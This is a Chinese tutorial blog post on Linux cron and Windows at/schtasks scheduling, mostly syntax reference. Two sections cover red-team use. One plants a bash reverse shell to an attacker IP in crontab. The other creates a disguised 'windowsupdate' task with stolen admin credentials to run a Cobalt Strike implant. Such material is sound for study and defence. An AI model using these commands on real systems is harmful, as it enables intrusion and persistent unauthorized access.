浅谈计划任务Linux&Windows
部分资源来源于网络,如有侵权请联系1294553086@qq.com。
以下文字仅用于个人学习记录及分享,切勿用此实施违法犯罪活动。
1.Linux
Linux下的任务调度分为两类: 系统任务调度 和 用户任务调度 。
系统任务调度: 系统周期性所要执行的工作,比如写缓存数据到硬盘、日志清理等。在/etc
目录下有一个crontab文件,这个就是系统任务调度的配置文件。
/etc/crontab
文件包括下面几行:
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=""
HOME=/
# run-parts
51 * * * * root run-parts /etc/cron.hourly
24 7 * * * root run-parts /etc/cron.daily
22 4 * * 0 root run-parts /etc/cron.weekly
42 4 1 * * root run-parts /etc/cron.monthly
前四行是用来配置crond任务运行的环境变量,第一行SHELL变量指定了系统要使用哪个shell,这里是bash,第二行PATH变量指定了系统执行命令的路径,第三行MAILTO变量指定了crond的任务执行信息将通过电子邮件发送给root用户,如果MAILTO变量的值为空,则表示不发送任务执行信息给用户,第四行的HOME变量指定了在执行命令或者脚本时使用的主目录。
用户任务调度: 用户定期要执行的工作,比如用户数据备份、定时邮件提醒等。用户可以使用 crontab 工具来定制自己的计划任务。所有用户定义的crontab文件都被保存在/var/spool/cron
目录中。其文件名与用户名一致,使用者权限文件如下:
/etc/cron.deny 该文件中所列用户不允许使用crontab命令
/etc/cron.allow 该文件中所列用户允许使用crontab命令
/var/spool/cron/ 所有用户crontab文件存放的目录,以用户名命名
crontab文件的含义:用户所建立的crontab文件中,每一行都代表一项任务,每行的每个字段代表一项设置,它的格式共分为六个字段,前五段是时间设定段,第六段是要执行的命令段,格式如下:
minute hour day month week command 顺序:分 时 日 月 周
其中:
- minute: 表示分钟,可以是从0到59之间的任何整数。
- hour:表示小时,可以是从0到23之间的任何整数。
- day:表示日期,可以是从1到31之间的任何整数。
- month:表示月份,可以是从1到12之间的任何整数。
- week:表示星期几,可以是从0到7之间的任何整数,这里的0或7代表星期日。
- command:要执行的命令,可以是系统命令,也可以是自己编写的脚本文件。
在以上各个字段中,还可以使用以下特殊字符:
- 星号(*):代表所有可能的值,例如month字段如果是星号,则表示在满足其它字段的制约条件后每月都执行该命令操作。
- 逗号(,):可以用逗号隔开的值指定一个列表范围,例如,“1,2,5,7,8,9”
- 中杠(-):可以用整数之间的中杠表示一个整数范围,例如“2-6”表示“2,3,4,5,6”
- 正斜线(/):可以用正斜线指定时间的间隔频率,例如“0-23/2”表示每两小时执行一次。同时正斜线可以和星号一起使用,例如*/10,如果用在minute字段,表示每十分钟执行一次。
1.1.crond服务常用命令
常用命令如下:
crontab [-u username] //省略用户表表示操作当前用户的crontab
-e (编辑工作表)
-l (列出工作表里的命令)
-r (删除工作作)
/sbin/service crond start # 启动服务
/sbin/service crond stop # 关闭服务
/sbin/service crond restart # 重启服务
/sbin/service crond reload # 重新载入配置
查看crontab服务状态:
service crond status
手动启动crontab服务:
service crond start
查看crontab服务是否已设置为开机启动,执行命令:
ntsysv
加入开机自动启动:
chkconfig –level 35 crond on
- 我们还可以把脚本放在/etc/cron.hourly、/etc/cron.daily、/etc/cron.weekly、/etc/cron.monthly目录中,让它每小时/天/星期、月执行一次。
1.2.crond命令实例
每1分钟执行一次command
* * * * * command
每小时的第3和第15分钟执行
3,15 * * * * command
在上午8点到11点的第3和第15分钟执行
3,15 8-11 * * * command
每隔两天的上午8点到11点的第3和第15分钟执行
3,15 8-11 */2 * * command
每个星期一的上午8点到11点的第3和第15分钟执行
3,15 8-11 * * 1 command
每晚的21:30重启smb
30 21 * * * /etc/init.d/smb restart
每月1、10、22日的4 : 45重启smb
45 4 1,10,22 * * /etc/init.d/smb restart
每周六、周日的1:10重启smb
10 1 * * 6,0 /etc/init.d/smb restart
每天18 : 00至23 : 00之间每隔30分钟重启smb
0,30 18-23 * * * /etc/init.d/smb restart
每星期六的晚上11:00 pm重启smb
0 23 * * 6 /etc/init.d/smb restart
每一小时重启smb
* */1 * * * /etc/init.d/smb restart
晚上11点到早上7点之间,每隔一小时重启smb
* 23-7/1 * * * /etc/init.d/smb restart
每月的4号与每周一到周三的11点重启smb
0 11 4 * mon-wed /etc/init.d/smb restart
一月一号的4点重启smb
0 4 1 jan * /etc/init.d/smb restart
每小时执行/etc/cron.hourly
目录内的脚本
01 * * * * root run-parts /etc/cron.hourly
1.3.在红队攻击方面的利用
1.3.1反弹shell
bash -i >& /dev/tcp/IP/PORT 0>&1
命令解释:
要想了解命令中的“>&”和“0>&1”,首先我们要先了解一下Linux文件描述符和重定向。
linux shell下常用的文件描述符是:
-
标准输入 (stdin) :代码为 0 ,使用 < 或 <<
-
标准输出 (stdout):代码为 1 ,使用 > 或 >>
-
标准错误输出(stderr):代码为 2 ,使用 2> 或 2>>
-
bash -i: -i(interactive)。即产生一个交互式的shell(bash)
-
/dev/tcp/IP/POR:接单理解就可以是连接IP上的PORT端口,具体意思-->>/dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/
-
在这里&并不是and的意思,在c或者C++中,&是取地址符。>&和&<是一个意思,把...定向到.....;>&和2>&1是一个意思就是把标准错误输出定向到标准输出中,0>&1就是把标准输入定向到标准输出中
演示:
CentOS 7 64 bit虚拟机(IP:192.168.2.184)&Kali Linux 虚拟机(IP:192.168.0.188)各一台
(1)在CentOS 7上创建计划任务(此时我用的时root用户登陆)
crontab -e
* * * * * bash -i >& /dev/tcp/192.168.0.188/6666 0>&1
(2)在Kali上监听端口
nc -lvp 6666
(3)成功返回shell
2.Windows
Windows 7 之前我们可以使用at命令完成定时任务:
AT [\\computername] [ [id] [/DELETE] | /DELETE [/YES]]
AT [\\computername] time [/INTERACTIVE]
[ /EVERY:date[,...] | /NEXT:date[,...]] "command"
\\computername 指定远程计算机。如果省略这个参数,
会计划在本地计算机上运行命令。
id 指定给已计划命令的识别号。
/delete 删除某个已计划的命令。如果省略 id,
计算机上所有已计划的命令都会被删除。
/yes 不需要进一步确认时,跟删除所有作业
的命令一起使用。
time 指定运行命令的时间。
/interactive 允许作业在运行时,与当时登录的用户
桌面进行交互。
/every:date[,...] 指定在每周或每月的特定日期运行命令。
如果省略日期,则默认为在每月的
本日运行。
/next:date[,...] 指定在下一个指定日期(如,下周四)运
行命令。如果省略日期,则默认为在每
月的本日运行。
"command" 准备运行的 Windows NT 命令或批处理
程序。
at \\computername time /interactive | /every:date,... /next:date,... command
\\ computername
:使用此参数指定远程计算机。如果省略此参数,则计划将任务在本地计算机上运行。time
:使用此参数可以指定任务运行的时间。时间指定为小时:基于24小时制的分钟。例如,0:00代表午夜,20:30代表晚上8:30/interactive
:使用此参数允许任务与任务运行时登录的用户的桌面进行交互。/every:date,...
:使用此参数可以安排任务在每周或每月的指定日期或星期几(例如,每个星期五或每月的第八天)运行。将日期指定为一周中的一或几天(使用以下缩写:M,T,W,Th,F,S,Su)或一个月中的一或几天(使用数字1至31)。确保使用逗号分隔多个日期条目。如果省略此参数,则任务计划在当天运行。/next:date,...
:使用此参数可以安排任务在一天的下一个发生时间(例如,下周一)运行。将日期指定为一周中的一或几天(使用以下缩写:M,T,W,Th,F,S,Su)或一个月中的一或几天(使用数字1至31)。确保使用逗号分隔多个日期条目。如果省略此参数,则任务计划在当天运行。command
:使用此参数指定要运行的Windows 2000命令,程序(.exe或.com文件)或批处理程序(.bat或.cmd文件)。如果命令要求使用路径作为参数,请使用绝对路径名(以驱动器号开头的整个路径)。如果命令在远程计算机上,请使用统一命名约定(UNC)路径名(\\ServerName\ShareName
)。如果该命令不是可执行(.exe)文件,则必须在命令前加上 cmd /c,例如:cmd /c copy C:*.* C:\temp。id
:使用此参数可以指定分配给计划任务的标识号。/delete
:使用此参数可以取消计划的任务。如果省略id参数,则会取消计算机上的所有计划任务。/yes
:取消预定任务时,使用此参数对系统中的所有查询强制使用“是”。如果省略此参数,则提示您确认取消任务。
2.1.at命令的几个用法
(1)at
列出在指定的时间和日期在计算机上运行的已计划命令或计划命令和程序。如果在没有参数的情况下使用,则 at 列出已计划的命令。
(2)at 5 /Delete
删除该计划,5为指派给已计划命令的标识编号,可以使用不带参数的at命令查看所有编号,当然,删除该计划后,可以重新安排。
(3)at /Delete 或者 at /Delete /y
取消全部计划
(4)At \\computername c:\winnt\system32/viliosn.exe
为远程计算机添加计划任务
(5)At \\computername 1 /delete /yes
删除远程计算机上标号为1的计划任务
2.2.at命令实例
(1)定时关机
命令:at 21:00 ShutDown –S –T30
该命令运行后,到了21:00点,电脑会出现“系统关机”对话框,并默认30秒延时自动关机。
(2)定时提醒
命令:at 12:00 Net Send 10.10.36.132与朋友约会的时间到了,快点准备出发吧!
其中Net Send是Windows内部程序,可以发送消息到网络上的其他用户、计算机。10.10.36.132是本机电脑的IP地址。这个功能在Windows中也称作“信使服务”。
(3)自动运行批处理文件
命令:at 1:00AM /Every:Saturday My_BackUp.bat
在每个Saturday(周六)的早上1:00点,电脑定时启动My_BackUp.bat批处理文件。My_BackUp.bat是一个你自行编制的批处理文件,它包含能对系统进行数据完全备份的多
(4)自动运行程序
命令:at 6:00 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday notepad.exe
每周的周一到周五6:00运行记事本程序
(5)以交互模式中自动运行运行程序
命令:at 22:30 /interactive "E:\Install\Thunder\Thunder.exe"
交互模式中22:30运行迅雷程序
2.3.schtasks命令
Windows 7 之后微软官方提供了一个更强大的工具–schtasks。
描述:
允许管理员创建、删除、查询、更改、运行和中止本地或远程系统上的计划任
务。
参数列表:
/Create 创建新计划任务。
/Delete 删除计划任务。
/Query 显示所有计划任务。
/Change 更改计划任务属性。
/Run 按需运行计划任务。
/End 中止当前正在运行的计划任务。
/ShowSid 显示与计划的任务名称相应的安全标识符。
/? 显示此帮助消息。
Examples:
SCHTASKS
SCHTASKS /?
SCHTASKS /Run /?
SCHTASKS /End /?
SCHTASKS /Create /?
SCHTASKS /Delete /?
SCHTASKS /Query /?
SCHTASKS /Change /?
SCHTASKS /ShowSid /?
SCHTASKS /Create [/S system [/U username [/P [password]]]]
[/RU username [/RP password]] /SC schedule [/MO modifier] [/D day]
[/M months] [/I idletime] /TN taskname /TR taskrun [/ST starttime]
[/RI interval] [ {/ET endtime | /DU duration} [/K] [/XML xmlfile] [/V1]]
[/SD startdate] [/ED enddate] [/IT | /NP] [/Z] [/F] [/HRESULT] [/?]
描述:
允许管理员在本地或远程系统上创建计划任务。
参数列表:
/S system 指定要连接到的远程系统。如果省略这个
系统参数,默认是本地系统。
/U username 指定应在其中执行 SchTasks.exe 的用户上下文。
/P [password] 指定给定用户上下文的密码。如果省略则
提示输入。
/RU username 指定任务在其下运行的“运行方式”用户
帐户(用户上下文)。对于系统帐户,有效
值是 ""、"NT AUTHORITY\SYSTEM" 或
"SYSTEM"。
对于 v2 任务,"NT AUTHORITY\LOCALSERVICE"和
"NT AUTHORITY\NETWORKSERVICE"以及常见的 SID
对这三个也都可用。
/RP [password] 指定“运行方式”用户的密码。要提示输
入密码,值必须是 "*" 或无。系统帐户会忽略该
密码。必须和 /RU 或 /XML 开关一起使用。
/RU/XML /SC schedule 指定计划频率。
有效计划任务: MINUTE、 HOURLY、DAILY、WEEKLY、
MONTHLY, ONCE, ONSTART, ONLOGON, ONIDLE, ONEVENT.
/MO modifier 改进计划类型以允许更好地控制计划重复
周期。有效值列于下面“修改者”部分中。
/D days 指定该周内运行任务的日期。有效值:
MON、TUE、WED、THU、FRI、SAT、SUN
和对 MONTHLY 计划的 1 - 31
(某月中的日期)。通配符“*”指定所有日期。
/M months 指定一年内的某月。默认是该月的第一天。
有效值: JAN、FEB、MAR、APR、MAY、JUN、
JUL、 AUG、SEP、OCT、NOV 和 DEC。通配符
“*” 指定所有的月。
/I idletime 指定运行一个已计划的 ONIDLE 任务之前
要等待的空闲时间。
有效值范围: 1 到 999 分钟。
/TN taskname 以路径\名称形式指定
对此计划任务进行唯一标识的字符串。
/TR taskrun 指定在这个计划时间运行的程序的路径
和文件名。
例如: C:\windows\system32\calc.exe
/ST starttime 指定运行任务的开始时间。
时间格式为 HH:mm (24 小时时间),例如 14:30 表示
2:30 PM。如果未指定 /ST,则默认值为
当前时间。/SC ONCE 必需有此选项。
/RI interval 用分钟指定重复间隔。这不适用于
计划类型: MINUTE、HOURLY、
ONSTART, ONLOGON, ONIDLE, ONEVENT.
有效范围: 1 - 599940 分钟。
如果已指定 /ET 或 /DU,则其默认值为
10 分钟。
/ET endtime 指定运行任务的结束时间。
时间格式为 HH:mm (24 小时时间),例如,14:50 表示 2:50 PM。
这不适用于计划类型: ONSTART、
ONLOGON, ONIDLE, ONEVENT.
/DU duration 指定运行任务的持续时间。
时间格式为 HH:mm。这不适用于 /ET 和
计划类型: ONSTART, ONLOGON, ONIDLE, ONEVENT.
对于 /V1 任务,如果已指定 /RI,则持续时间默认值为
1 小时。
/K 在结束时间或持续时间终止任务。
这不适用于计划类型: ONSTART、
ONLOGON, ONIDLE, ONEVENT.
必须指定 /ET 或 /DU。
/SD startdate 指定运行任务的第一个日期。
格式为 yyyy/mm/dd。默认值为
当前日期。这不适用于计划类型: ONCE、
ONSTART, ONLOGON, ONIDLE, ONEVENT.
/ED enddate 指定此任务运行的最后一天的日期。
格式是 yyyy/mm/dd。这不适用于计划类型:
ONCE、ONSTART、ONLOGON、ONIDLE。
/EC ChannelName 为 OnEvent 触发器指定事件通道。
/IT 仅有在 /RU 用户当前已登录且
作业正在运行时才可以交互式运行任务。
此任务只有在用户已登录的情况下才运行。
/NP 不储存任何密码。任务以给定用户的身份
非交互的方式运行。只有本地资源可用。
/Z 标记在最终运行完任务后删除任务。
/XML xmlfile 从文件的指定任务 XML 中创建任务。
可以组合使用 /RU 和 /RP 开关,或者在任务 XML 已包含
主体时单独使用 /RP。
/V1 创建 Vista 以前的平台可以看见的任务。
不兼容 /XML。
/F 如果指定的任务已经存在,则强制创建
任务并抑制警告。
/RL level 为作业设置运行级别。有效值为
LIMITED 和 HIGHEST。默认值为 LIMITED。
/DELAY delaytime 指定触发触发器后延迟任务运行的
等待时间。时间格式为
mmmm:ss。此选项仅对计划类型
ONSTART, ONLOGON, ONEVENT.
/HRESULT 为获得更出色的故障诊断能力,处理退出代码
将采用 HRESULT 格式。
/? 显示此帮助消息。
修改者: 按计划类型的 /MO 开关的有效值:
MINUTE: 1 到 1439 分钟。
HOURLY: 1 - 23 小时。
DAILY: 1 到 365 天。
WEEKLY: 1 到 52 周。
ONCE: 无修改者。
ONSTART: 无修改者。
ONLOGON: 无修改者。
ONIDLE: 无修改者。
MONTHLY: 1 到 12,或
FIRST, SECOND, THIRD, FOURTH, LAST, LASTDAY。
ONEVENT: XPath 事件查询字符串。
示例:
==> 在远程机器 "ABC" 上创建计划任务 "doc",
该机器每小时在 "runasuser" 用户下运行 notepad.exe。
SCHTASKS /Create /S ABC /U user /P password /RU runasuser
/RP runaspassword /SC HOURLY /TN doc /TR notepad
==> 在远程机器 "ABC" 上创建计划任务 "accountant",
在指定的开始日期和结束日期之间的开始时间和结束时间内,
每隔五分钟运行 calc.exe。
SCHTASKS /Create /S ABC /U domain\user /P password /SC MINUTE
/MO 5 /TN accountant /TR calc.exe /ST 12:00 /ET 14:00
/SD 06/06/2006 /ED 06/06/2006 /RU runasuser /RP userpassword
==> 创建计划任务 "gametime",在每月的第一个星期天
运行“空当接龙”。
SCHTASKS /Create /SC MONTHLY /MO first /D SUN /TN gametime
/TR c:\windows\system32\freecell
==> 在远程机器 "ABC" 创建计划任务 "report",
每个星期运行 notepad.exe。
SCHTASKS /Create /S ABC /U user /P password /RU runasuser
/RP runaspassword /SC WEEKLY /TN report /TR notepad.exe
==> 在远程机器 "ABC" 创建计划任务 "logtracker",
每隔五分钟从指定的开始时间到无结束时间,
运行 notepad.exe。将提示输入 /RP
密码。
SCHTASKS /Create /S ABC /U domain\user /P password /SC MINUTE
/MO 5 /TN logtracker
/TR c:\windows\system32\notepad.exe /ST 18:30
/RU runasuser /RP
==> 创建计划任务 "gaming",每天从 12:00 点开始到
14:00 点自动结束,运行 freecell.exe。
SCHTASKS /Create /SC DAILY /TN gaming /TR c:\freecell /ST 12:00
/ET 14:00 /K
==> 创建计划任务“EventLog”以开始运行 wevtvwr.msc
只要在“系统”通道中发布事件 101
SCHTASKS /Create /TN EventLog /TR wevtvwr.msc /SC ONEVENT
/EC System /MO *[System/EventID=101]
==> 文件路径中可以加入空格,但需要加上两组引号,
一组引号用于 CMD.EXE,另一组用于 SchTasks.exe。用于 CMD
的外部引号必须是一对双引号;内部引号可以是一对单引号或
一对转义双引号:
SCHTASKS /Create
/tr "'c:\program files\internet explorer\iexplorer.exe'
\"c:\log data\today.xml\"" ...
2.4.schtasks命令实例-在后渗透中的应用
模拟实验环境:
攻击机器1:window 10 64bit(IP:192.168.1.246)
攻击机器2:Kali linux (IP:192.168.0.188)
CS服务器:阿里云ECS
受害机器:Windows 7 64bit(IP:192.168.1.21)可访问互联网
(1)首先将攻击机器2
上的CS客户端连接到CS服务器
上的服务端,假设我们已经通过攻击机器1
将CS远控木马文件上传到了受害机器
C盘根路径下。并且知道受害机器
的管理员用户名和密码。
(2)使用攻击机器1
远程给受害机器
设定远程任务执行CS木马.exe文件。
schtasks /create /s 192.168.1.102 /u “administrator” /p “123!@#” /RL HIGHEST /tn windowsupdate /tr C:\\Windows\temp\1.bat /sc MINUTE #创建任务
schtasks /run /tn windowsupdate /s 192.168.1.102 /u “administrator” /p “123!@#”
以上两条命令参数的含义请参考2.3,也可以在自己的机器上使用帮助命令查看对应的参数的含义。相关参数值需要根据实际情况做出适当的修改。
(3)前往攻击机器2
,发现肉鸡上线。